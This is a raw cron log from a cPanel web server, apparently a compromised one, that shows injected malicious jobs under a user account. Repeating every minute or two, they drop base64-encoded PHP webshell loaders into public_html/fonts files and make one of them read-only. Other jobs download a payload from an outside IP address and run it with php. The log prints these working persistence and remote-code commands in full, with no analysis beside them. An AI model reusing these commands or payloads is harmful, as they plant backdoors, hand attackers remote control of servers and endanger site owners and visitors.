55ok
Mini
Feb 22 03:12:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7636]: finished logrotate
Feb 22 03:12:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7586]: starting man-db.cron
Feb 22 03:12:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[9946]: finished man-db.cron
Feb 22 03:12:04 ip-184-168-122-23 anacron[4511]: Job `cron.daily' terminated
Feb 22 03:12:04 ip-184-168-122-23 anacron[4511]: Normal exit (1 job run)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:13:01 ip-184-168-122-23 CROND[10188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:14:01 ip-184-168-122-23 CROND[10530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:14:01 ip-184-168-122-23 CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:15:01 ip-184-168-122-23 CROND[10813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:16:01 ip-184-168-122-23 CROND[11105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:16:01 ip-184-168-122-23 CROND[11109]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:17:01 ip-184-168-122-23 CROND[11382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:18:01 ip-184-168-122-23 CROND[11699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:18:01 ip-184-168-122-23 CROND[11701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:19:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:20:01 ip-184-168-122-23 CROND[12446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:20:01 ip-184-168-122-23 CROND[12451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:21:01 ip-184-168-122-23 CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:22:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:22:01 ip-184-168-122-23 CROND[13101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:23:01 ip-184-168-122-23 CROND[13306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:24:01 ip-184-168-122-23 CROND[13498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
